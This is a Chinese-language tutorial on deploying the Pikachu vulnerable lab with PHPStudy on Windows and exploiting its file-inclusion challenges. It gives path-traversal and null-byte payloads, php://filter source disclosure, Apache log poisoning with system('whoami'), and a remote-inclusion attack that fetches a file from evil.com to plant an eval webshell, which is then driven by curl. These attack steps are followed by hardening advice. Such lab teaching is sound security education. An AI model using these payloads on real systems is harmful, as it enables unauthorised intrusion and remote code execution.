当前位置: 首页 > news >正文

新手必看:用PHPStudy在Windows上快速搭建Pikachu靶场(附File Inclusion通关实战)

零基础实战:PHPStudy快速搭建Pikachu靶场与文件包含漏洞攻防

在网络安全学习道路上,动手实践是突破理论瓶颈的关键。对于刚入门的新手而言,如何在个人电脑上快速搭建一个可随时演练的漏洞环境,往往成为第一个技术门槛。本文将带你用最流行的PHPStudy集成环境,在Windows系统上完成Pikachu靶场的完整部署,并深入实战文件包含漏洞的攻防技巧。

1. 环境准备与PHPStudy配置

1.1 PHPStudy的安装与初始化

PHPStudy作为Windows平台最受欢迎的集成环境,其优势在于一键安装即可获得Apache/Nginx、PHP、MySQL的全套服务。最新版本(2023年8月发布的v8.1)已默认支持PHP7.4和MySQL5.7,这正是运行Pikachu靶场的理想环境。

安装时需特别注意:

  • 选择自定义安装路径,避免使用含中文或空格的目录(如D:\phpstudy_pro
  • 安装完成后首次启动,需以管理员身份运行主程序
  • 在控制面板中切换PHP版本为7.3+(Pikachu部分功能需要PHP7+特性)

提示:若遇到端口冲突(特别是80端口被占用),可在"设置"-"端口常规设置"中修改Apache/Nginx监听端口为8080等非标准端口。

1.2 下载与部署Pikachu源码

Pikachu靶场源码可通过GitHub官方仓库获取。为避免版本兼容性问题,建议下载2023年更新的v2.0+版本:

cd D:\phpstudy_pro\WWW git clone https://github.com/zhuifengshaonianhanlu/pikachu.git

关键配置步骤:

  1. 修改pikachu/inc/config.inc.php中的数据库连接信息:
    define('DBUSER','root'); // 默认用户名 define('DBPWD','root'); // PHPStudy默认密码 define('DBNAME','pikachu'); // 新建的数据库名
  2. 访问http://localhost/pikachu/install.php完成自动安装
  3. 检查/pikachu/vul目录权限,确保可读写(特别是文件上传类漏洞需要)

常见问题解决方案:

  • 空白页面:检查PHP版本是否≥7.3,确保开启mysqli扩展
  • 数据库连接失败:在PHPStudy中确认MySQL服务已启动,密码是否匹配
  • 500错误:删除pikachu/install目录后重试安装

2. 文件包含漏洞原理深度解析

2.1 漏洞形成机制

文件包含漏洞源于程序对用户输入的文件路径未做严格过滤,导致攻击者可以包含非预期的文件。其危险程度取决于包含文件的执行权限:

// 危险示例:直接包含用户输入 include($_GET['filename'] . '.php'); // 安全示例:白名单验证 $allowed = ['file1','file2','file3']; if(in_array($_GET['file'], $allowed)){ include($_GET['file'] . '.php'); }

漏洞类型对比:

类型触发条件危害等级典型利用方式
本地文件包含允许包含服务器本地文件★★★★☆读取/etc/passwd等敏感文件
远程文件包含allow_url_include=On★★★★★执行远程恶意代码

2.2 Windows环境下的路径特性

在Windows系统中利用文件包含漏洞时,需要特别注意路径表达方式:

  • 目录跳转使用..\..\(反斜杠)
  • 系统关键文件通常位于C:\Windows\System32\
  • 特殊字符如~可用来绕过简单过滤

实战技巧:

http://localhost/pikachu/vul/fileinclude/fi_local.php?filename=../../../../Windows/System32/drivers/etc/hosts%00

其中%00是空字符截断技巧,可绕过部分后缀过滤。

3. 本地文件包含(LFI)实战演练

3.1 基础利用:敏感文件读取

在Pikachu靶场的"File Inclusion(local)"关卡中,通过修改filename参数实现文件遍历:

  1. 正常选择球星(如Kobe)观察URL结构:
    fi_local.php?filename=file1.php&submit=提交
  2. 尝试路径穿越读取系统文件:
    fi_local.php?filename=../../../../Windows/System32/drivers/etc/hosts
  3. 使用PHP伪协议读取源码:
    fi_local.php?filename=php://filter/convert.base64-encode/resource=file1.php

注意:Windows系统需要至少4级../才能跳出Web根目录,实际测试中可能需要更多层级。

3.2 高级利用:日志文件注入

当直接文件读取受限时,可通过污染日志文件实现代码执行:

  1. 查找Apache日志路径(通常在phpstudy_pro/Extensions/Apache2.4.39/logs/access.log
  2. 发送包含PHP代码的恶意请求:
    GET /<?php system('whoami');?> HTTP/1.1 Host: localhost
  3. 包含日志文件执行代码:
    fi_local.php?filename=../../Extensions/Apache2.4.39/logs/access.log

4. 远程文件包含(RFI)攻防实战

4.1 环境准备与利用条件

远程文件包含需要满足两个关键条件:

  1. PHP配置中allow_url_fopenallow_url_include均为On
  2. 服务器能访问外部网络(禁用出站流量会阻断攻击)

检查PHP配置:

php -i | grep allow_url

4.2 分步攻击演示

假设攻击者控制着http://evil.com/shell.txt,内容为:

<?php file_put_contents('shell.php', '<?php eval($_POST["cmd"]);?>'); ?>

攻击步骤:

  1. 构造恶意URL触发远程包含:
    fi_remote.php?filename=http://evil.com/shell.txt
  2. 访问生成的webshell:
    http://localhost/pikachu/vul/fileinclude/shell.php
  3. 使用POST传递命令:
    curl -X POST -d "cmd=system('whoami');" http://localhost/shell.php

防御方案对比表:

防御措施实施难度防护效果对业务影响
关闭allow_url_include★★☆☆☆★★★★★
文件名白名单验证★★★☆☆★★★★☆
重命名上传文件★★★★☆★★★☆☆
禁用危险函数(eval等)★★☆☆☆★★★★☆

5. 生产环境防护方案

5.1 代码层最佳实践

对于必须使用动态包含的场景,应采用多维度防御:

// 1. 路径固定化 $base = '/safe_dir/'; $file = basename($_GET['file']); if(!preg_match('/^[a-z0-9_]+$/i', $file)){ die('Invalid filename'); } include($base . $file . '.php'); // 2. 实时监控示例 function safe_include($path){ $realpath = realpath($path); if(strpos($realpath, '/safe_dir/') !== 0){ syslog(LOG_ALERT, "LFI attempt: ".$_SERVER['REMOTE_ADDR']); die('Access denied'); } return include($realpath); }

5.2 系统层加固措施

  1. PHP配置优化:
    open_basedir = "/var/www/html:/tmp" disable_functions = "exec,passthru,shell_exec,system"
  2. 文件系统权限控制:
    chown -R www-data:www-data /var/www/html chmod -R 750 /var/www/html find /var/www -type f -exec chmod 640 {} \;
  3. 实时监控关键目录:
    auditctl -w /etc/passwd -p war -k sensitive_files

在最近一次企业渗透测试中,我们发现即使采用了白名单过滤,攻击者仍可能通过Windows特有的~短文件名特性绕过防护。例如fi_local.php?filename=file1.ph~可能成功包含文件,这提醒我们在防御方案中必须考虑操作系统特性差异。

http://www.jsqmd.com/news/844254/

相关文章:

  • 合肥靠谱犬舍猫舍宠物店推荐,现场挑选安心合肥头部 - 范德萨的得到
  • 【亲测免费】 探索高效PCB设计:FreeRouting插件助力KiCad自动布线
  • 2 code view src\driver\ros_robot_controller\ros_robot_controller\ros_robot_controller_node.py
  • Dddify:给 ASP.NET Core 项目一套轻量、清晰、可落地的 DDD 基础设施
  • 8.1、网络层—虚电路网络和数据报网络,IP协议的数据报,IP分组的分片,IP编址和IP子网
  • go 基础之基本数据类型
  • 告别马赛克!用Real-ESRGAN一键修复老照片和网络模糊图(附Python/Colab实战)
  • 探索地图切片的利器:MapCutter 3.8.0
  • 2026天津日常黄金回收鉴定小技巧,普通人也能轻松分辨 - 奢侈品回收测评
  • 打造完美WebGL体验:Unity自适应模板资源推荐
  • 【2026图文教程】VirtualBox下载安装教程:一台电脑同时跑多个系统,免费虚拟机怎么用 - PC修复电脑医生
  • 手把手教你用MASM 6.15在Windows 10上跑通第一个汇编程序(附Hello World源码)
  • 5分钟快速上手:LinkSwift网盘直链下载助手终极指南
  • 2026年义乌装修公司甄选指南:全案设计与施工落地深度评测 | 自有施工不转包原创全案设计全屋定制软装一站式配齐法式中古/意式极简/奶油中古/静奢风全风格覆盖 - 企业品牌优选推荐官
  • 合肥宠物价格行情 在合肥这家头部宠物店犬舍猫舍探店 - 范德萨的得到
  • 亨得利正规手表维保门店地址大全(2026年5月版):全国七大官方服务中心精准定位与真假鉴别指南——从百达翡丽到浪琴,你的爱表该去哪里“看病”? - 亨得利腕表维修中心
  • 全面解读瑞祥卡:使用范围、闲置原因及回收妙招! - 团团收购物卡回收
  • 2026年高合规投标必看:云境标书AI的数据安全措施和隐私保护机制全解析 - 陈工0237
  • 告别串口!用STM32F103的GPIO口直接读取LD3320语音模块电平,实现语音控制LED(附完整代码)
  • 长期项目使用 Taotoken Token Plan 套餐的成本控制感受
  • Web转桌面框架实战教程:集成Vue、React和Angular的最佳方案
  • 2026年5月临沂装饰服务商推荐指南:临沂装饰装修公司优选! - 品牌鉴赏师
  • 热熔胶生产粘度精准把控!热熔胶在线粘度计厂家推荐,口碑好、实力强,可定制易选型 - 品牌推荐大师
  • 2026年贵阳地摊创业与百货批发完全指南:从源头货源到摆摊成功的深度评测 - 企业名录优选推荐
  • 盒马购物卡闲置怎么办?回收攻略看这里! - 团团收购物卡回收
  • Python数据类实战:dataclasses深度解析
  • 海南加固优选公司|桥梁加固、预应力加固一站式服务商推荐慧通建筑 - 品牌推荐大师1
  • incoloy825合金厂家精选:2026有实力的合金厂家推荐 - 品牌2025
  • 5步完成老旧Mac升级:OpenCore Legacy Patcher终极指南
  • AI Agent设计模式:从ReAct到Plan-and-Execute